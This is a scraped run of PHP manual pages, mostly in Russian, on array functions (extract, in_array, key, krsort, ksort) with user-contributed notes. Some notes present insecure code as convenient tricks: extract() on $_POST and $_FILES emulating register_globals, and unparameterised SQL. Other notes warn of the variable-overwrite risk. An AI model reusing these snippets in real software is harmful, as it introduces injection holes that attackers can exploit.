It is possible to use this as a way to create public attributes for a class.

<?php
class Foo {

  public function __construct ($array) {

      extract($array, EXTR_REFS);
      foreach ($array as $key => $value) {
          $this->$key = $$key;
          // Do: $this->key = $key; if $key is not a string.
      }

  }

}

$array = array(
    'valueOne'      => 'Test Value 1',
    'valueTwo'      => 'Test Value 2',
    'valueThree'    => 'Test Value 3'
);

$foo = new Foo($array);

// Works
echo $foo->valueOne; // Test Value 1
echo $foo->valueTwo; // Test Value 2

// Does not work!
echo $foo::$valueOne; // Fatal error:  Access to undeclared static property: Test::$valueOne
?>
dotslash.lu at gmail.com 29-Apr-2013 12:55
You can't extract a numeric indexed array(e.g. non-assoc array).
<?php
$a = array(
  1,
  2
);
extract($a);
var_dump(${1});
?>

result:
PHP Notice:  Undefined variable: 1 in /Users/Lutashi/t.php on line 7

Notice: Undefined variable: 1 in /Users/Lutashi/t.php on line 7
NULL
Robc 01-Nov-2011 06:30
When extracting from a row after a database query using for example:

$row = mysql_fetch_array($result, MYSQL_ASSOC)
extract($row);

I find that the resultant variables may not match the variable type in the database.  In particular I have found integers in the database may gettype() to string on the extracted variable.
Rodrigo 15-Jun-2010 09:41
Here's a way to use extract in $_FILES arrays without using register_gloabals on.

I started to use extract a few weeks ago, and my codes hasn't been so clean since then. The use of the arrays $_POST and $_GET is ok, but one missed doublequote causes a lot of trouble.

Besides I teach PHP in a school, and this function has made my examples easier.

<?php
if(isset($_FILES["file"])){
    extract($_FILES);
    extract($file);
    echo $name."<br>";
    echo $tmp_name."<br>";
    echo $size."<br>";
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Documento sin t&iacute;tulo</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
</head>

<body>
<form action="" method="post" enctype="multipart/form-data" name="form1">
  <p>
    <input type="file" name="file">
</p>
  <p>
    <input type="submit" name="Submit" value="Enviar">
</p>
</form>
</body>
</html>

Hope this can help anyone.
auto493097 at hushmail dot com 23-Feb-2010 10:07
I use XDebug with NetbeansIDE to for analyzing and developing PHP Code. When debugging an extract statement no new variables appeared in the variable's list. Although all variables created by extract could be examined by explicit watch items and single variables appeared as soon as an PHP script makes use of them I am not sure weather it is a wrong configuration, a feature or a bug in XDebug.
danbettles at yahoo dot co dot uk 24-Aug-2009 04:04
When using EXTR_PREFIX_ALL - and probably all the other EXTR_PREFIX_* constants - and a numerically-indexed array, extract() will add an underscore ("_") between the prefix and the index.

<?php

extract(array('foo', 'bar'), EXTR_PREFIX_ALL, 'var');

print_r(get_defined_vars());  // Reveals $var_0 = 'foo' and $var_1 = 'bar'
?>
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 07:15
In the meantime, I'm using this:

// extract alternative
# extracts variables where new value is above the threshold or if old value is on or below the threshold (or var is not defined)
# an associative array is obviously the sane thing to pass
#
# I am absolutely certain someone will find obvious problems or errors with this
# I haven't even tried to compare other values than 0 so if you need to do that and surely finds obvious flaws,
# please mail me, I'd really like to know.
# benjaminATwebbutvecklarnaDOTse

// usage example:
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM site_preset WHERE ID = $site_id")));
# thrextract(mysql_fetch_assoc(mysql_query("SELECT preset_this,preset_that FROM category_preset WHERE ID = $category_id")));

function thrextract($arr,$thr = 0){
    foreach($arr as $key => $var){
        global $$key;
        if($var > $thr or $$key <= $thr) $$key = $var;
    }
}
benjaminATwebbutvecklarnaDOTse 16-Mar-2008 06:19
Re: anon at anon dot org, about extract() and null values

Personally I've found use extracting multiple resultsets from db where the latter would overwrite the previous when a variable is not null ( and optionally if its not >0 )

It would be useful if $extract_type was extended on top of these two:

EXTR_OVERWRITE
EXTR_SKIP

with something like this:

EXTR_OVERWRITE_NULL
 - If there is a collision, overwrite the existing variable if it is null

EXTR_OVERWRITE_0
 - Same thing but == 0 or null

EXTR_SKIP_NULL
 - If there is a collision, skip the new variable if the existing is not null

EXTR_SKIP_0
 - Same thing but == 0 or null

Those ought to cover a few good cases that aren't covered now.
Hayley Watson 13-Mar-2008 03:18
Dan O'Donnell's suggestion needs a third requirement to work as described:

c) No other variables are defined - especially variables that contain potentially sensitive information.

Without that condition the difference between extract() and assigning variables by hand (and the resulting security implications) should be obvious.

The only valid security step there is (b) - but you should be doing that anyway.
Dan O'Donnell 21-Apr-2007 12:25
Following up on ktwombley at gmail dot com's post:

Presumably one easy way of dealing with this security issue is to use the EXTR_IF_EXISTS flag and make sure

a) your define acceptable input variables beforehand (i.e. as empty variables)
b) Sanitise any user input to avoid unacceptable variable content.

If you do these two things, then I'm not sure I see the difference between extract($_REQUEST,EXTR_IF_EXISTS); and assigning each of the variables by hand.

I'm not talking here about the idea of storing the variables in a database, just the immediately necessary steps to allow you to use extract on REQUEST arrays with relative safety.
Dutchdavey 13-Mar-2007 12:26
I would draw your attention to the user note at the very end of this page regarding PREFIXES. The user points out that php adds a '_' to your prefixes.
ktwombley at gmail dot com 31-Aug-2006 10:05
It's really easy to open gaping security holes using extract() on $_REQUEST, $_GET, etc. You have to be really sure of what you're doing, and use the proper flags on extract() to avoid clobbering important variables.

For instance, the submission by kake26 at gmail dot com will not only perfectly emulate register globals (that's bad), but it'll store it in a database and recall the same variables every time the script runs (essentially allowing an attacker to attack your script every time it runs via one attack). Oops!

To fix it, you'd have to get creative with flags. Maybe you could use EXTR_PREFIX_ALL instead of EXTR_OVERWRITE, for example. Of course, you should also sanitize the form elements to ensure there's no php code in them, and also to make sure any very important variables aren't in the form data. (like the classic $is_admin = true attack)
nicolas zeh 16-Mar-2006 09:24
This function provides exactly the same functionality as extract except that a parameter was added defining the extract target.
This function can be used if your PHP installation does not support the required Flags or more important if you would like to extract arrays to another destination as to $GLOBALS, i.e. other arrays or objects.
The only difference to extract is that extract_to moves the array pointer of $arr to the end as $arr is passed by reference to support the EXTR_REFS flag.

<?php
    if( !defined('EXTR_PREFIX_ALL') ) define('EXTR_PREFIX_ALL', 3);
    if( !defined('EXTR_PREFIX_INVALID') ) define('EXTR_PREFIX_INVALID', 4);
    if( !defined('EXTR_IF_EXISTS') ) define('EXTR_IF_EXISTS', 5);
    if( !defined('EXTR_PREFIX_IF_EXISTS') ) define('EXTR_PREFIX_IF_EXISTS', 6);
    if( !defined('EXTR_REFS') ) define('EXTR_REFS', 256);

    function extract_to( &$arr, &$to, $type=EXTR_OVERWRITE, $prefix=false ){

        if( !is_array( $arr ) ) return trigger_error("extract_to(): First argument should be an array", E_USER_WARNING );

        if( is_array( $to ) ) $t=0;
        else if( is_object( $to ) ) $t=1;
        else return trigger_error("extract_to(): Second argument should be an array or object", E_USER_WARNING );

        if( $type==EXTR_PREFIX_SAME || $type==EXTR_PREFIX_ALL || $type==EXTR_PREFIX_INVALID || $type==EXTR_PREFIX_IF_EXISTS )
            if( $prefix===false ) return trigger_error("extract_to(): Prefix expected to be specified", E_USER_WARNING );
            else $prefix .= '_';

        $i=0;
        foreach( $arr as $key=>$val ){

            $nkey = $key;
            $isset = $t==1 ? isset( $to[$key] ) : isset( $to->$key );

            if( ( $type==EXTR_SKIP && $isset )
                || ( $type==EXTR_IF_EXISTS && !$isset ) )
                    continue;

            else if( ( $type==EXTR_PREFIX_SAME && $isset )
                || ( $type==EXTR_PREFIX_ALL )
                || ( $type==EXTR_PREFIX_INVALID && !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $key ) ) )
                    $nkey = $prefix.$key;

            else if( $type==EXTR_PREFIX_IF_EXISTS )
                if( $isset ) $nkey = $prefix.$key;
                else continue;

            if( !preg_match( '#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $nkey ) ) continue;

            if( $t==1 )
                if( $type & EXTR_REFS ) $to->$nkey = &$arr[$key];
                else $to->$nkey = $val;
            else
                if( $type & EXTR_REFS ) $to[$nkey] = &$arr[$key];
                else $to[$nkey] = $val;

            $i++;
        }

        return $i;
    }

    // e.g.:
    extract_to( $myarray, $myobject, EXTR_IF_EXISTS );
?>
owk dot ch199_ph at gadz dot org 08-Mar-2006 04:21
And if you want with PHP 5 an easy way to extract $V by reference, try this :
<?php
    foreach ($V as $k => &$v) {
        $$k =& $v;
    }
?>
It can be used to create special kind of "free args" functions that let you choose when you call them the way you send variables, and which ones. They are moreover very fast to call thanks to references :
<?php
    function free_args (&$V) {
        foreach ($V as $k => &$v) {
            $$k =& $v;
        }
        unset ($k);  unset ($v);  unset ($V);

        // be careful that if you need to extract $k, $v or $V variables you should find other names for them in the lines above (ie. $__k, $__v and $__V)
    }

    $huge_text = '...';

    $a = array ('arg1' => 'val1', 'arg2' => &$huge_text); // in this call, only $arg2 will be a true reference in the function
    free_args ($a);
?>
Be warned that you can't write : "<?php free_args (array ('arg1' => 'val1')); ?>" because the array can't be referenced by the function, as it's not yet created when the function starts.
moslehi<atsign>gmail<d0t>c0m 20-Jan-2006 01:32
Experimentally I found that calling extract() also shows the number of keys if the key is set and is not numeric ! Maybe there was a better definition than mine  . Please have a look to this scripts :

<?PHP
$var["i"] = "a";
$var["j"] = "b";
$var["k"] = 1;
echo extract($var); // returns 3
?>

<?PHP
$var2["i"] = "a";
$var2[2] = "b";
$var2[] = 1;
echo extract($var2); // returns 1
?>

(Arash Moslehi)
Csaba at alum dot mit dot edu 27-Nov-2005 11:41
Sometimes you may want to extract only a named subset of the key/value pairs in an array.  This keeps things more orderly and could prevent an unrelated variable from getting clobbered from an errant key.  For example,

$things = 'unsaid';
$REQUEST = array(He=>This, said=>1, my=>is, info=>2, had=>a,
                 very=>3, important=>test, things=>4);
$aVarToExtract = array(my, important, info);
extract (array_intersect_key ($REQUEST, array_flip($aVarToExtract)));

will extract
$my = 'is';
$important = 'test';
$info = 2;

but will leave certain
$things = 'unsaid'

Csaba Gabor from Vienna
NB.  Of course the composite request coming in from a web page is in $_REQUEST.
anon at anon dot org 30-May-2005 12:02
A warning about extract() and null values.

This might be an actual Zend2 Engine bug, but it's bad programming practice, so I'm sharing it here instead.

I often work in envrionments where E_STRICT (which would prevent errors like this) isn't on, and I don't have access to change it. I also use a very simple template class that in a nutshell works like this:

$t = new Template('somefile.php');
$t->title = $title;
$t->body = $body;
$t->display();

display() more or less looks like this:

function display(){
    extract(get_object_vars($this),EXTR_REFS);
    ob_start(); include $this->templateFileName;
    return ob_get_clean();
}

If any of the assigned values are null (let's say that in this case $title wasn't initialized above) it causes the engine to do all sorts of incredibly whacky stuff like certifiably lose track of variables in an incredibly inconsistent way. I traced the problem down to the fact that it's using the EXTR_REFS flag. I assume that in PHP's internal variable storage or reference counting mechanism, that trying to extract null references makes it lose track or count of something or rather.

In a nutshell, if you start getting wierd behavior when using extract() make sure that the array or object you are trying to get variables out of doesn't contain null keys or values!
kake26 at gmail dot com 30-Apr-2005 08:59
The following is a neat use for extract to store and manipulate large amounts of form data from. I basically loop through the $_POST and implode it seperating the key and value pairs by a space. Then store it in a db, the reversing function basically explodes the string to a array. Then converts the indexed array to a associative array then uses extract to seal the deal and make it easily available within a program. My main reason for sharing these are the fact I make some big web applications that store allot of forum data in a DB and these functions make it very easy to quickly and easily store and recall the data. I've contributed it because I spent many hours creating this code and recall going "I wish someone had previously submitted it to the page notes". Would have saved me allot of time and agony and I'm sure I'm not the only person that could really benefit from it, so I decided to share.

<?php
$stack = array();
foreach ($_POST as $key => $value) {
array_push($stack, $key, $value);
}
// store it
$block = implode(" ",$stack); // yeilds a space delimited string
// insert query to store string in DB here, like the one below
$query = "INSERT INTO `sometable` VALUES('".$seluser."','".addslashes($block)."');";
$result = mysql_query($query) or die("Query failed for block insert: " . mysql_error());
// note $seluser in my case is a user ID associated with that block
// in one of my web apps
?>

The nice thing is with the above we can quickly create a string of key and value pairs from the data the script got. Without really caring what their names are. You know how if register globals are on you say $someformvar rather than $_POST["someformvar"]; , basically the code below reads this previous created block returns it to that state. Sort of like presistant register globals.

<?php
// insert query to grab the previously stored string here
$query = "SELECT * FROM `sometable` WHERE `blockid` = '".addslashes($bid)."';";
$result = mysql_query($query) or die("Query failed read: " . mysql_error());
$sql = mysql_fetch_array($result, MYSQL_ASSOC);
$array = eplode(" ",$sql["data"]);
for ($i = 0; $i < sizeof($array); $i+=2) {
$myassoc[$array[$i]] = isset($array[$i+1])?$array[$i+1]:NULL;
}
extract($myassoc, EXTR_OVERWRITE);
// now you're key and value pairs from $_POST have been restored
// instead of $_POST
?>
pg dot perfection at gmail dot com 14-Mar-2005 02:33
Here is a little example of how an extraction method should look like when it needs to work recursive (work on nested_arrays too)...

Note that this is only an example, it can be done more easily, and more advanced too.

<?php
/**
 * A nested version of the extract () function.
 *
 * @param    array    $array        The array which to extract the variables from
 * @param    int        $type        The type to use to overwrite (follows the same as extract () on PHP 5.0.3
 * @param    string    $prefix        The prefix to be used for a variable when necessary
 */
function extract_nested (&$array, $type = EXTR_OVERWRITE, $prefix = '')
{
    /**
     *  Is the array really an array?
     */
    if (!is_array ($array))
    {
        return trigger_error ('extract_nested (): First argument should be an array', E_USER_WARNING);
    }

    /**
     *  If the prefix is set, check if the prefix matches an acceptable regex pattern
     * (the one used for variables)
     */
    if (!empty ($prefix) && !preg_match ('#^[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*$#', $prefix))
    {
        return trigger_error ('extract_nested (): Third argument should start with a letter or an underscore', E_USER_WARNING);
    }

    /**
     * Check if a prefix is necessary. If so and it is empty return an error.
     */
    if (($type == EXTR_PREFIX_SAME || $type == EXTR_PREFIX_ALL || $type == EXTR_PREFIX_IF_EXISTS) && empty ($prefix))
    {
        return trigger_error ('extract_nested (): Prefix expected to be specified', E_USER_WARNING);
    }

    /**
     * Make sure the prefix is oke
     */
    $prefix = $prefix . '_';

    /**
     *  Loop thru the array
     */
    foreach ($array as $key => $val)
    {
        /**
         *  If the key isn't an array extract it as we need to do
         */
        if (!is_array ($array[$key]))
        {
            switch ($type)
            {
                default:
                case EXTR_OVERWRITE:
                    $GLOBALS[$key] = $val;
                break;
                case EXTR_SKIP:
                    $GLOBALS[$key] = isset ($GLOBALS[$key]) ? $GLOBALS[$key] : $val;
                break;
                case EXTR_PREFIX_SAME:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_ALL:
                    $GLOBALS[$prefix . $key] = $val;
                break;
                case EXTR_PREFIX_INVALID:
                    if (!preg_match ('#^[a-zA-Z_\x7f-\xff]$#', $key{0}))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                    else
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$key] = $val;
                    }
                break;
                case EXTR_PREFIX_IF_EXISTS:
                    if (isset ($GLOBALS[$key]))
                    {
                        $GLOBALS[$prefix . $key] = $val;
                    }
                break;
                case EXTR_REFS:
                    $GLOBALS[$key] =& $array[$key];
                break;
            }
        }
        /**
         *  The key is an array... use the function on that index
         */
        else
        {
            extract_nested ($array[$key], $type, $prefix);
        }
    }
}
?>
Michael Newton 02-Mar-2005 05:23
They say "If the result is not a valid variable name, it is not imported into the symbol table."

What they should say is that if _any_ of the results have invalid names, _none_ of the variables get extracted.

Under 4.3.10 on Windows 2000, I was pulling some mySQL records, but needed to convert two fields into IP addresses:
<?
extract(mysql_fetch_assoc(mysql_query('SELECT * FROM foo')));
extract(mysql_fetch_assoc(mysql_query('SELECT INET_NTOA(bar) AS bar, INET_NTOA(baz) FROM foo')));
?>

I had forgotten the second AS modifier in the SQL query.  Because it couldn't extract a variable called INET_NTOA(baz) into the symbol table, it didn't do either of them.

(BTW I don't normally stack functions up like that!  Just to make a short example!)
21-Feb-2005 07:31
To make this perfectly clear (hopefully), an underscore is always added when the string is prefixed.
extract(array("color" => "blue"),EXTR_PREFIX_ALL,'');// note: prefix is empty
is the same as
$color='_blue';
Aaron Stone 17-Nov-2004 10:44
If you are working porting an older application, and taking the advice above, extracting only _SERVER, _SESSING, _COOKIE, _POST, _GET, you have forgotten to extract _FILES. Putting _FILES last and using EXTR_SKIP doesn't work because the name of the file upload box is already set as a variable containing only the temporary name of the uploaded file from one of the earlier extracts (I haven't tested to see which one specifically, however). A workaround is to put _FILES last and use EXTR_OVERWRITE. This allows extract to replace that temp-name-only variable with the full array of file upload information.
Adam Monsen <adamm at wazamatta dot com> 02-Oct-2004 05:03
As shown in the example, if your 'prefix' is used, a single underscore is added to the name of the extracted variable. Meaning, a prefix of 'p' becomes a prefix of 'p_', so 'blarg' prefixed would be 'p_blarg'.

If you're not sure what variables you've created through extraction, you can call get_defined_vars() to see all defined variables in the current scope.


Проверяет, присутствует ли в массиве значение

  • « extract
  • key_exists »
  • PHP Manual
  • Функции для работы с массивами
  • Проверяет, присутствует ли в массиве значение

in_array

(PHP 4, PHP 5, PHP 7, PHP 8)

in_array — Проверяет, присутствует ли в массиве значение

Описание

in_array(mixed $needle, array $haystack, bool $strict = false): bool

Ищет в haystack значение needle. Если strict не установлен, то при поиске будет использовано нестрогое сравнение.

Список параметров

needle

Искомое значение.

Замечание:

Если needle - строка, сравнение будет произведено с учётом регистра.

haystack

Массив.

strict

Если третий параметр strict установлен в true, тогда функция in_array() также проверит соответствие типов параметра needle и соответствующего значения массива haystack.

Замечание:

До PHP 8.0.0 строковое значение параметра needle будет соответствовать значению массива 0 в нестрогом режиме, и наоборот. Это может привести к нежелательным результатам. Подобные крайние случаи существуют и для других типов. Если нет полной уверенности в типах значений, всегда используйте флаг strict, чтобы избежать неожиданного поведения.

Возвращаемые значения

Возвращает true, если needle был найден в массиве, и false в противном случае.

Примеры

Пример #1 Пример использования in_array()

<?php
$os = array("Mac", "NT", "Irix", "Linux");
if (in_array("Irix", $os)) {
echo "Нашёл Irix";
}
if (in_array("mac", $os)) {
echo "Нашёл mac";
}
?>

Второго совпадения не будет, потому что in_array() регистрозависима, таким образом, программа выведет:

Нашёл Irix

Пример #2 Пример использования in_array() с параметром strict

<?php
$a = array('1.10', 12.4, 1.13);

if (in_array('12.4', $a, true)) {
echo "'12.4' найдено со строгой проверкой\n";
}

if (in_array(1.13, $a, true)) {
echo "1.13 найдено со строгой проверкой\n";
}
?>

Результат выполнения приведённого примера:

1.13 найдено со строгой проверкой

Пример #3 Пример использования in_array() с массивом в качестве параметра needle

<?php
$a = array(array('p', 'h'), array('p', 'r'), 'o');

if (in_array(array('p', 'h'), $a)) {
echo "'ph' найдено\n";
}

if (in_array(array('f', 'i'), $a)) {
echo "'fi' найдено\n";
}

if (in_array('o', $a)) {
echo "'o' найдено\n";
}
?>

Результат выполнения приведённого примера:

'ph' найдено
  'o' найдено

Смотрите также

  • array_search() - Ищет значение в массиве и в случае успешного поиска возвращает ключ первого найденного элемента
  • isset() - Определяет, была ли установлена переменная значением, отличным от null
  • array_key_exists() - Проверяет, существует ли в массиве заданный ключ или индекс

User Contributed Notes

Julian Sawicki 09-Jun-2023 10:04
Here is a recursive in_array function:

<?php

$myNumbers = [
    [1,2,3,4,5],
    [6,7,8,9,10],
];

$array = [
    'numbers' => $myNumbers
];

// Let's try to find number 7 within $array
$hasNumber = in_array(7, $array, true); // bool(false)
$hasNumber = in_array_recursive(7, $array, true); // bool(true)

function in_array_recursive(mixed $needle, array $haystack, bool $strict): bool
{
    foreach ($haystack as $element) {
        if ($element === $needle) {
            return true;
        }

        $isFound = false;
        if (is_array($element)) {
            $isFound = in_array_recursive($needle, $element, $strict);
        }

        if ($isFound === true) {
            return true;
        }
    }

    return false;
}
Armands Rieksti 14-Feb-2023 10:45
I'd like to point out that, if you're using Enum data structures and want to compare whether an array of strings has a certain string Enum in it, you need to cast it to a string.

From what I've tested, the function works correctly:
if the array is filled with strings and you're searching for a string;
if the array is filled with Enums and you're searching for an Enum.
leonhard dot radonic+phpnet at gmail dot com 08-Nov-2022 10:26
I got an unexpected behavior working with in_array. I'm using following code:

<?php
// ...
$someId = getSomeId(); // it gets generated/fetched by another service, so I don't know what value it will have. P.S.: it's an integer

// The actual data in my edge-case scenario:
// $someId = 0;
// $anyArray = ['dataOne', 'dataTwo'];
if (in_array($someId, $anyArray)) {
    // do some work
}
// ...
?>

With PHP7.4, in_array returns boolean true.
With PHP8.1, in_array returns boolean false.

It took me quite some time to find out what's going on.
Anonymous 01-Nov-2022 02:46
$a = new StdClass();
$b = new StdClass();

// Expected: false, got: true
var_dump(in_array($a, [$b]));
// bool(true)

// Works fine
var_dump(in_array($a, [$b], true));
// bool(false)
Anonymous 01-Nov-2022 02:46
$a = new StdClass();
$b = new StdClass();

// Expected: false, got: true
var_dump(in_array($a, [$b]));
// bool(true)

// Works fine
var_dump(in_array($a, [$b], true));
// bool(false)
beingmrkenny at gmail dot com 27-Oct-2011 03:35
Loose checking returns some crazy, counter-intuitive results when used with certain arrays. It is completely correct behaviour, due to PHP's leniency on variable types, but in "real-life" is almost useless.

The solution is to use the strict checking option.

<?php

// Example array

$array = array(
    'egg' => true,
    'cheese' => false,
    'hair' => 765,
    'goblins' => null,
    'ogres' => 'no ogres allowed in this array'
);

// Loose checking -- return values are in comments

// First three make sense, last four do not

in_array(null, $array); // true
in_array(false, $array); // true
in_array(765, $array); // true
in_array(763, $array); // true
in_array('egg', $array); // true
in_array('hhh', $array); // true
in_array(array(), $array); // true

// Strict checking

in_array(null, $array, true); // true
in_array(false, $array, true); // true
in_array(765, $array, true); // true
in_array(763, $array, true); // false
in_array('egg', $array, true); // false
in_array('hhh', $array, true); // false
in_array(array(), $array, true); // false

?>
thomas dot sahlin at gmail dot com 05-Oct-2009 12:53
If you're creating an array yourself and then using in_array to search it, consider setting the keys of the array and using isset instead since it's much faster.

<?php

$slow = array('apple', 'banana', 'orange');

if (in_array('banana', $slow))
    print('Found it!');

$fast = array('apple' => 'apple', 'banana' => 'banana', 'orange' => 'orange');

if (isset($fast['banana']))
    print('Found it!');

?>
rhill at xenu-directory dot net 17-Jan-2009 01:05
I found out that in_array will *not* find an associative array within a haystack of associative arrays in strict mode if the keys were not generated in the *same order*:

<?php

$needle = array(
    'fruit'=>'banana', 'vegetable'=>'carrot'
    );

$haystack = array(
    array('vegetable'=>'carrot', 'fruit'=>'banana'),
    array('fruit'=>'apple', 'vegetable'=>'celery')
    );

echo in_array($needle, $haystack, true) ? 'true' : 'false';
// Output is 'false'

echo in_array($needle, $haystack) ? 'true' : 'false';
// Output is 'true'

?>

I had wrongly assumed the order of the items in an associative array were irrelevant, regardless of whether 'strict' is TRUE or FALSE: The order is irrelevant *only* if not in strict mode.


Псевдоним array_key_exists

  • « in_array
  • key »
  • PHP Manual
  • Функции для работы с массивами
  • Псевдоним array_key_exists

key_exists

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

key_exists — Псевдоним array_key_exists()

Описание

Псевдоним функции array_key_exists().

User Contributed Notes

There are no user contributed notes for this page.


Получает ключ массива

  • « key_exists
  • krsort »
  • PHP Manual
  • Функции для работы с массивами
  • Получает ключ массива

key

(PHP 4, PHP 5, PHP 7, PHP 8)

key — Получает ключ массива

Описание

key(array|object $array): int|string|null

Функция key() возвращает индекс текущей позиции массива.

Список параметров

array

Массив.

Возвращаемые значения

Функция key() просто возвращает ключ элемента массива, на который указывает внутренний указатель массива. Она не сдвигает указатель ни в каком направлении. Если внутренний указатель указывает за пределы списка элементов или массив пуст, функция key() возвратит null.

Список изменений

Версия | Описание
8.1.0 | Вызов функции на объекте (object) объявлен устаревшим. Объект (object) либо сначала преобразовывают в массив (array) функцией get_mangled_object_vars(), либо пользуются методами класса, в котором реализовали интерфейс Iterator, например, ArrayIterator.
7.4.0 | Экземпляры классов библиотеки SPL теперь обрабатываются как пустые объекты, у которых нет свойств, вместо вызова метода интерфейса Iterator с тем же именем, что и у этой функция.

Примеры

Пример #1 Пример использования функции key()

<?php

$array = array(
'fruit1' => 'apple',
'fruit2' => 'orange',
'fruit3' => 'grape',
'fruit4' => 'apple',
'fruit5' => 'apple');

// Цикл выведет ключи ассоциативного массива,
// значения которых равны «apple»
while ($fruit_name = current($array)) {
if ($fruit_name == 'apple') {
echo key($array), "\n";
}
next($array);
}

?>

Результат выполнения приведённого примера:

fruit1
fruit4
fruit5

Смотрите также

  • current() - Возвращает текущий элемент массива
  • next() - Сдвигает внутренний указатель массива на одну позицию вперёд
  • array_key_first() - Получает первый ключ массива
  • foreach

User Contributed Notes

Md Tahazzot 13-Dec-2019 06:02
(Editor note: Or just use the array_keys function)

Make as simple as possible but not simpler like this one :)

$k = array();
for($i = 0; $i < count($arr); $i++){
    $k[$i] = key($arr);
    next($arr);
}
danielmadsv at gmail dot com 24-Mar-2019 01:07
In addition to FatBat's response, if you'd like to find out the highest key in an array (assoc or not) but don't want to arsort() it, take a look at this:

<?php

$arr = [ '3' => 14, '1' => 15, '4' => 92, '15' => 65 ];

$key_of_max = array_search( max($arr) , $arr);

?>
lhardie 23-Apr-2014 04:05
Note that using key($array) in a foreach loop may have unexpected results.

When requiring the key inside a foreach loop, you should use:
foreach($array as $key => $value)

I was incorrectly using:
<?php
foreach($array as $value)
{
  $mykey = key($array);
}
?>

and experiencing errors (the pointer of the array is already moved to the next item, so instead of getting the key for $value, you will get the key to the next value in the array)

CORRECT:
<?php
foreach($array as $key => $value)
{
  $mykey = $key;
}

A noob error, but felt it might help someone else out there.
vinob44 at gmail dot com 23-Oct-2013 11:43
Suppose if the array values are in numbers and numbers contains `0` then the loop will be terminated. To overcome this you can user like this

<?php
$array = array(
    '0' => '5',
    '1' => '2',
    '2' => '0',
    '3' => '3',
    '4' => '1');

// wrong approach

while ($fruit_name = current($array)) {

        echo key($array).'<br />';
       next($array);
}

// the way will be break loop when arra('2'=>0) because its value is '0', while(0) will terminate the loop

// correct approach
while ( ($fruit_name = current($array)) !== FALSE ) {

        echo key($array).'<br />';
       next($array);
}
//this will work properly
?>
FatBat 17-Oct-2011 12:20
Needed to get the index of the max/highest value in an assoc array.
max() only returned the value, no index, so I did this instead.

<?php
reset($x);   // optional.
arsort($x);
$key_of_max = key($x);   // returns the index.
?>


Сортирует массив по ключу в порядке убывания

  • « key
  • ksort »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив по ключу в порядке убывания

krsort

(PHP 4, PHP 5, PHP 7, PHP 8)

krsort — Сортирует массив по ключу в порядке убывания

Описание

krsort(array &$array, int $flags = SORT_REGULAR): true

Сортирует массив (array) по ключу в порядке убывания.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования функции krsort()

<?php

$fruits = array("d"=>"lemon", "a"=>"orange", "b"=>"banana", "c"=>"apple");
krsort($fruits);
foreach ($fruits as $key => $val) {
echo "$key = $val\n";
}

?>

Результат выполнения приведённого примера:

d = lemon
c = apple
b = banana
a = orange

Смотрите также

  • sort() - Сортирует массив по возрастанию
  • ksort() - Сортирует массив по ключу в порядке возрастания
  • Сравнение функций сортировки массивов

User Contributed Notes

07-Aug-2005 06:37
To create a natural reverse sorting by keys, use the following function:

<?php
function natkrsort($array)
{
    $keys = array_keys($array);
    natsort($keys);

    foreach ($keys as $k)
    {
        $new_array[$k] = $array[$k];
    }

    $new_array = array_reverse($new_array, true);

    return $new_array;
}
?>
peter at pmkmedia dot com 07-Nov-2003 01:51
Best deal sorting:

This is a function that will sort an array with integer keys (weight) and float values (cost) and delete 'bad deals' - entries that are more costly than other entries that have greater or equal weight.

Input: an array of unsorted weight/cost pairs
Output: none

function BEST_DEALS($myarray)
{   // most weight for least cost:
    // ? Peter Kionga-Kamau, http://www.pmkmedia.com
    // thanks to Nafeh for the reversal trick
    // free for unrestricted use.
    krsort($myarray, SORT_NUMERIC);
    while(list($weight, $cost) = each($myarray))
    {   // delete bad deals, retain best deals:
        if(!$lastweight)
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
        else if($cost >= $lastcost) unset($myarray[$weight]);
        else
        {
            $lastweight=$weight;
            $lastcost = $cost;
        }
    }
    ksort($myarray);
}


Сортирует массив по ключу в порядке возрастания

  • « krsort
  • list »
  • PHP Manual
  • Функции для работы с массивами
  • Сортирует массив по ключу в порядке возрастания

ksort

(PHP 4, PHP 5, PHP 7, PHP 8)

ksort — Сортирует массив по ключу в порядке возрастания

Описание

ksort(array &$array, int $flags = SORT_REGULAR): true

Сортирует array по ключу в порядке возрастания.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

